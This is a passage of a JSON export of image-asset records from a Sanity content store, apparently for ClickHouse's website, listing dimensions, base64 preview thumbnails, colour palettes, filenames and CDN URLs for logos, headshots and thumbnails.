1c1c","size":68858,"uploadId":"PmF7JYKpE6QPanJep4BV1EA7JLog39D1","url":"https://cdn.sanity.io/images/sczeoy4w/production/db4db8741596e08c5353f7e17de703c2633e1c1c-1258x320.png"} {"_createdAt":"2024-02-06T12:08:41Z","_id":"image-db58ab71b3ea809de8a8a96d2ff41f92d59502ee-1920x1080-png","_rev":"8mGThtWzkZE49nEaOABwY8","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T12:08:41Z","assetId":"db58ab71b3ea809de8a8a96d2ff41f92d59502ee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7T4q0UrKixZVa}txYv|rYixvzvMrXt6ko","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAChklEQVQokUWRzVPUBRyHf6HNAgGN0mpAGwKLvAlJIG/CuiPNdO4QKeqAgxasoq5mAQLCLsvriqCENP07XfoTOtR0qGt2xZbnabY9eHgO38szn+/nE/DlcRn7QBL1Mt0g02fk/hlJ5vlYHtfpbFRm62W+QVLNku2S/UtyEJe9Xtk5X+BltwFXSuVOozy5KItDstAnC73ytEeedku6V9cuymqfrPVIdkD2h+Wnz2WvXzabZL1eNhsl22TAtXJJdsjSsKQ+k1RclgclPSSZmKzFdDNeEC42yVJUts7Lbo9s5O+wLJ+SlWpJhd8KXbykS3FJX5ZUTNKDsjIoy1063yoz+SoqJFkqCx/KaoNkaiVVJZmIrH4ky5UGR1ff89/pZt/M9Jub7ZEnPTL3qcyck9lWeRTRRJlMvitTx+RBscyflrWoZFtl+5w875Bss6zXGuRGy339qM+/lr/wn7mYR/caJFEliVNyNyyJCvn6uNwOZLJIHpbJUo1sthSG2O2UF12y84lsNRocjp/299SIv+x+5x9ro75JtujdGrkfkQc1kqySZKXcK5PpYnn8vqRr5Vl7QZhtlu02ed4uW2cNDq+f8NeHcX+ev+pv3w97OBXR2ydk8qTcqZRvq2WhThYiMhMuvLsalZ3OgnAjWlg4n3C30yA3UuzfE3X+OdXu62/qzI2Xy/UiufGO3Mx3dlJWzspGm2Sikq6TjRZ50V14Ny971iovL8h+v8HRSMjceNjcrWqPJsIyVvpWOF4k0xWSbpTtfJpWyeQFHfJDn+xdKAyS7/DVgBwMGhx9FZIrJTJaItdK5EaxjIXkZkgmQjJVJnMRWW+TdD5hg+x0ycFQgf0BeTUoP8b+5z9ldz7PKiXypAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50463e","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc320c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954703","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb953c","foreground":"#000","population":7.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event video thumbnail template with speaker long headline Orange.png","path":"images/sczeoy4w/production/db58ab71b3ea809de8a8a96d2ff41f92d59502ee-1920x1080.png","sha1hash":"db58ab71b3ea809de8a8a96d2ff41f92d59502ee","size":374100,"uploadId":"5OgpJ6Gjh3ZHUCjYyMtBIT552VqVYh0v","url":"https://cdn.sanity.io/images/sczeoy4w/production/db58ab71b3ea809de8a8a96d2ff41f92d59502ee-1920x1080.png"} {"_createdAt":"2024-03-13T17:02:30Z","_id":"image-db5c22d8993913d38107b4b3efa1b59beb690218-438x133-png","_rev":"2QvLnXP36WAnQ13A3ouQi0","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T17:02:30Z","assetId":"db5c22d8993913d38107b4b3efa1b59beb690218","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DYBV,*~8^c=?$~ESESE5IqNK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.293233082706767,"height":133,"width":438},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABp0lEQVQYlV2Mz2sTURSFb0RQrOLP9J2X9L6ZTEjaNB1Lxgx2ZpI0mZk4ZmJrSoUI7lxLN4KbUEVXorgT/AdcC7oU3EtFF25ciBtJxH+iPplQXLj44OPcew41HE97fk+3O33dakfaD0LtBz0dtELd7sRzMm+6wc81u7lXqdpnlLFMK7X1HAvQ/5BzxZt1Nvuz5Pr2LEm2ZlGczuJ4OB2ko+mNrd3pcLgzjeL014a3eWBfdu9WqvZCoWjR6lqTFOQcA4V/Trdv1l/d2XVejndaz/pxtO8H4cQPuo+73WtP4n76MIwGEz/o7TuOt1evNzbKpcqppQtnc5ZRzmUDJgpEp4lMWaRiPk/0/d2JB9/enLx38Hph9Pz+4upy2aqabLqWKnmWYV21DGvd5FLDZLNhFLmmIMsssMSQlxg4x8B5FrjIAnkWkKQ/0VP9hSb6K41/v89VnJVFkwVsJeCyQMgCHRZos0CPBSIWiBnzPGDAY8A/+sluKR1+OPbi8CM9+vOZxj/eHrdqJZgK0lWQLQU5UJCpgkwyZ8hsrMtAkpVZYJsFRkfcYoHxXxqQb98iyvRFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4446","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d4b04","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eccb37","foreground":"#000","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcc1","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eccb37","foreground":"#000","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a79f6a","foreground":"#000","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce404","foreground":"#000","population":0.01,"title":"#000"}}},"mimeType":"image/png","originalFilename":"logo-clickhouse-future-support.png","path":"images/sczeoy4w/production/db5c22d8993913d38107b4b3efa1b59beb690218-438x133.png","sha1hash":"db5c22d8993913d38107b4b3efa1b59beb690218","size":10397,"uploadId":"zLdijpyFVoLG4K4Ayu9aQLsVIibjoppf","url":"https://cdn.sanity.io/images/sczeoy4w/production/db5c22d8993913d38107b4b3efa1b59beb690218-438x133.png"} {"_createdAt":"2023-03-15T12:51:39Z","_id":"image-db6e0ed0654b7ce047741b15699d422f2e535993-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2oWGS","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:39Z","assetId":"db6e0ed0654b7ce047741b15699d422f2e535993","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcEBQgG/8QAJxAAAQQCAQIFBQAAAAAAAAAAAgABAwQFEQYSMQcTFkFRITJhcYH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAwQC/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECAxIhMv/aAAwDAQACEQMRAD8A6K5u054KWGtOdcpXYSkD7hH31+VLcHQ9M8rpSYm/dOGYmGyNg3ISZ/f9qw54oAxkx2ZBjAG31E+tOpFUzNSpykDyu46DExPJIX02/ZKp1skinFMuG2W1n2zOyLGrXqlmAJa9iI4ibYkJNp0TSY54y3J8pyDmsGOyNjdIZdeSDdIvr5+VrvFuMYaVQY20xE7P/OyImyuFMeGeBr5G7XiGOC5YjBuwjI7MiIgyf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a3f4a","foreground":"#fff","population":2.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d1315","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a3f4a","foreground":"#fff","population":2.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b6c4","foreground":"#000","population":1.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc5c1","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8378","foreground":"#fff","population":2.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc747c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"eric-liaw.jpg","path":"images/sczeoy4w/production/db6e0ed0654b7ce047741b15699d422f2e535993-800x800.jpg","sha1hash":"db6e0ed0654b7ce047741b15699d422f2e535993","size":167937,"uploadId":"VQEQfUjkxi2G7ZIka1ppyRApWSwbXiqn","url":"https://cdn.sanity.io/images/sczeoy4w/production/db6e0ed0654b7ce047741b15699d422f2e535993-800x800.jpg"} {"_createdAt":"2024-05-21T15:34:09Z","_id":"image-db70732c04464835875b73ca3d54eb6f6ec26e6b-3600x2400-jpg","_rev":"CK5Oetwu6foT4G1mbSSDeI","_type":"sanity.imageAsset","_updatedAt":"2024-05-21T15:34:09Z","assetId":"db70732c04464835875b73ca3d54eb6f6ec26e6b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVJHdXRPD*Rjxu-Oi_tRRiV@~WM{M{WAbI^+WBaxoJof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":2400,"width":3600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCAwb/xAAnEAABAwMDAQkAAAAAAAAAAAABAgMEAAURBhIUMQcTISIjMkFhcf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGhEAAwADAQAAAAAAAAAAAAAAAAERAgMxYf/aAAwDAQACEQMRAD8AlA1dMs5a5IDzITlZSCo7qsuXaTcJCmjFhFKE+puTkZ/aWaS5s6+2ZiXM3sOgJWhLYG4D4J+630tbdyg3JtEdmKmJLDQ7pPvRjoakx0pcfCl7nlPRSzr+/wAhsO8SNhXTymikFxe4cksRQtDaB4ArzRSKQJ2n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58412a","foreground":"#fff","population":6.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#532e0a","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2bca9","foreground":"#000","population":6.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bca9","foreground":"#000","population":6.58,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd6c5","foreground":"#000","population":4.73,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#997c63","foreground":"#fff","population":5.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc844c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"85bb0478-f249-43c1-9b06-9875729ac9af.jpg","path":"images/sczeoy4w/production/db70732c04464835875b73ca3d54eb6f6ec26e6b-3600x2400.jpg","sha1hash":"db70732c04464835875b73ca3d54eb6f6ec26e6b","size":462771,"uploadId":"r5m35STadLuqyMOJn1uWD4ltbPmal7ch","url":"https://cdn.sanity.io/images/sczeoy4w/production/db70732c04464835875b73ca3d54eb6f6ec26e6b-3600x2400.jpg"} {"_createdAt":"2023-03-15T14:01:07Z","_id":"image-db772a0a2f466e9a7ecd868fe6743132364e7ad4-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dmyTT","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:07Z","assetId":"db772a0a2f466e9a7ecd868fe6743132364e7ad4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGCAMJ/8QAIxAAAgEEAQUAAwAAAAAAAAAAAQIFAAMEERIGBxMhUSJhgf/EABUBAQEAAAAAAAAAAAAAAAAAAAEE/8QAGBEAAwEBAAAAAAAAAAAAAAAAAAECAxH/2gAMAwEAAhEDEQA/ANI9UzCQsU+SRtyeKD6TVTgp4pK2WvZruMkb8bjWj+qju+k5awI3DtW8m0L/AJQxthxz19AqqRmcZS9Hlb58SkMzONEEGptqaotwzlw+mgAdgEUrnjOtzHtsjBlKjRB3SqSI88+5crm5nX8xk5GRce7bymVCWP4gH0BUUOo5fmXEhkAlePpteqUo4KbRZYPux1lDR6YWFL3fAhPEOORH9NKUpA//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42281f","foreground":"#fff","population":1.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#613b2d","foreground":"#fff","population":1.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c6b6","foreground":"#000","population":3.92,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb1a6","foreground":"#000","population":1.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c6b6","foreground":"#000","population":3.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07761","foreground":"#fff","population":2.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#774f38","foreground":"#fff","population":0.65,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sanna-putila.jpg","path":"images/sczeoy4w/production/db772a0a2f466e9a7ecd868fe6743132364e7ad4-800x800.jpg","sha1hash":"db772a0a2f466e9a7ecd868fe6743132364e7ad4","size":45669,"uploadId":"FTKTuQuXC4ZNTQF1lFczsXgJonTwg5XC","url":"https://cdn.sanity.io/images/sczeoy4w/production/db772a0a2f466e9a7ecd868fe6743132364e7ad4-800x800.jpg"} {"_createdAt":"2022-06-16T23:49:32Z","_id":"image-db7a1f760bda4ba26f53364282a758584426c65a-1200x630-jpg","_rev":"oamrAPLmQLQjd9jh7Zp5XW","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:32Z","assetId":"db7a1f760bda4ba26f53364282a758584426c65a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB6q|{R-Fx[U%ObJf6oeVs+[K5ofwvIq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACAQAAICAgICAwAAAAAAAAAAAAECAwQAERIhBUEUMZH/xAAXAQADAQAAAAAAAAAAAAAAAAACBQYH/8QAGxEBAQADAAMAAAAAAAAAAAAAAQIAAxEFFWH/2gAMAwEAAhEDEQA/ANivNQSoitThaULos2+zkNuxB43xHyOSLPLLw0ycuKa9ZU/cK9D8xU0MdhFSdA6r2AfWQ/tGNg2dDNX2Q1KCnfuKoivYpQykOWZdsQNDe8MqhjWONURQqj6Awxbt8jVWsnDCloA7n//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c7c1","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8849c","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Spare_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/db7a1f760bda4ba26f53364282a758584426c65a-1200x630.jpg","sha1hash":"db7a1f760bda4ba26f53364282a758584426c65a","size":199602,"uploadId":"ZwwaX91Hkiwsd1X4nZg0QScSNoI1J8IA","url":"https://cdn.sanity.io/images/sczeoy4w/production/db7a1f760bda4ba26f53364282a758584426c65a-1200x630.jpg"} {"_createdAt":"2022-09-15T13:58:48Z","_id":"image-db7c0b21ff269ad9a1318da9de397227e3137d15-860x860-jpg","_rev":"4pG2it9AJU1nJxbjoF7fdy","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T13:58:48Z","assetId":"db7c0b21ff269ad9a1318da9de397227e3137d15","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOIXKg^$F.s*-P_HoPNIsqMzPCoexFX4V?%cRjnRRnbXNZR+s,xZNe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgP/xAAjEAABBAICAgIDAAAAAAAAAAACAQMEBQAREiEGMQcyQXHB/8QAFwEBAAMAAAAAAAAAAAAAAAAABQMEBv/EACMRAAEDAwIHAAAAAAAAAAAAAAEAAgMREiEEQQUTIjFxodH/2gAMAwEAAhEDEQA/ANlY24QqFD5o64hIAgpa3+MqrW7crbeAaCTjEseBo4u+HXtFTMn5WJpErqqO8L0+VIFGiRNcO/a5w8/mtV99VQkfacfYHUgWvqG/7g0DJJWC1prt9SsUMdpD91Av/J3GLV8GIwGCL0W/eMh3VS3Jnk7CcFWSRFRVPW8ZTyzpcKEeUM6OYEivpXfyJGbqr1soPJsx0SFvaouYu5ig1BfkIpq8aciMi2qr+8YzdcEAOhhdvaEo7so9Jbyma8AFQJEXrkO1xjGK8thyQoDlf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7f3e","foreground":"#fff","population":2.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#315e09","foreground":"#fff","population":3.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b098","foreground":"#000","population":5.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c2bb","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b098","foreground":"#000","population":5.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97853","foreground":"#fff","population":2.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddb733","foreground":"#000","population":0.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"lorna-mitchell.jpg","path":"images/sczeoy4w/production/db7c0b21ff269ad9a1318da9de397227e3137d15-860x860.jpg","sha1hash":"db7c0b21ff269ad9a1318da9de397227e3137d15","size":72266,"uploadId":"87Zu3p1HXQwI11uaiV2MPqLuA7C2HY2S","url":"https://cdn.sanity.io/images/sczeoy4w/production/db7c0b21ff269ad9a1318da9de397227e3137d15-860x860.jpg"} {"_createdAt":"2024-03-06T12:32:23Z","_id":"image-db915d2ab4833ae138861a9d108f8a1a432500c0-300x300-png","_rev":"wlmKp1TUxaN4Rr151JloZ4","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T12:32:23Z","assetId":"db915d2ab4833ae138861a9d108f8a1a432500c0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e30-MZM3ynMNt~o]Vuo|Vuo{Q8u0Qpt$Q=Q[u1Qpt%Q;qFVvo{Vvo_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAB1klEQVQ4je2Tz0vUURTFPzOjM7UJRFv2i1rkxkK0aEis0Dljpt8z2SLKCrJE+v3D0iEro4VEP2gQa9MiWlS7aNW2v6iWGQQTb76PkiAmcuuFw7uPe+55l3vvgzVbvcl/RxNe5nClEZqvLzG7XKO6XGsi2ASto2MUjh4DunhTf8fcj0VgYARKDUIGOYuSNGEwgfIKgeCXYizl5rLDlUz7xIlGlQ/rL3LV77U8HDwSCOuQN0esT4WdYWCU6GcbYqVUCLkNeXtmqNJOR19u5FO1cPPrs62z32rFkLANuQ95AnkceR9yN/IO5E3Iu5F3IW9B7kTuQRbyWcoe4tBoz4bx48Xyxxnf+PL0dBC8hnwb+TnyS+S7yJeRryBfiuc55DPRvxD5S8iPKHk6O1ypbpw8OTX2ea47CL5CnkV+jPwBeRH5ejxfI1cb1aQPLSCfR55Bfo/8Fvke8oPG44NJB5F4C/k+8hPk+SgYhO4gTyNPIk/Fyi4iX43iC7GYwDtF2W1BsAu5H/kA8p7Yw/7Yt53I+5GL0e+Nsb2xl70rcjszQy6EyYUpFlCSR0kLcmt6d45SEqaajwi8lhhrRUku8vMxN9z/XOxfe5bi9979O1jFT2n6XdeM/7GfyrHB5pVqoYoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#385a42","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044c64","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#66a56f","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7ec68c","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ef4ae","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66a56f","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54d470","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Doccla-2-635fa60a3360e.png","path":"images/sczeoy4w/production/db915d2ab4833ae138861a9d108f8a1a432500c0-300x300.png","sha1hash":"db915d2ab4833ae138861a9d108f8a1a432500c0","size":23055,"uploadId":"koM5C5lrBXvoNNeyckxx6lZCIsqS0J4D","url":"https://cdn.sanity.io/images/sczeoy4w/production/db915d2ab4833ae138861a9d108f8a1a432500c0-300x300.png"} {"_createdAt":"2023-06-07T13:33:07Z","_id":"image-dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434-1920x1037-jpg","_rev":"dsxJlHxlnt5nZt5n1uY7SD","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:33:07Z","assetId":"dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbF?z^-p9FR*xa.Tjct8xvjt?uo#IpRin%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAEDBAUGB//EACQQAAEDAwMEAwAAAAAAAAAAAAIBAwQAERIFBhMHCDFRFDKB/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAbEQACAgMBAAAAAAAAAAAAAAABAgAREhNBIf/aAAwDAQACEQMRAD8AlM9THZM4D0pt1xiO/wAZI2OSu+vyrjWd9y4UOQO4UXJ1VJkcLWH0tYDt9dINtas6OPI28KgSiiqi0nVrV50na7Dj8hSP5Zt5Yoi428eKWpJIuDdFNgeRgN4a3KTlgi+UdfqoWtRXKG50pkcGZDgB6ErJRSMV7Iajyp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4d52","foreground":"#fff","population":2.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11349f","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3c9d3","foreground":"#000","population":7.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3c9d3","foreground":"#000","population":7.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7464","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#57697d","foreground":"#fff","population":3.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2342b","foreground":"#fff","population":1.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"alef-customer-img.jpg","path":"images/sczeoy4w/production/dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434-1920x1037.jpg","sha1hash":"dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434","size":1438523,"uploadId":"23AnfgKLCn4ZB4geDWW5vMZ0aGNzWBFx","url":"https://cdn.sanity.io/images/sczeoy4w/production/dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434-1920x1037.jpg"} 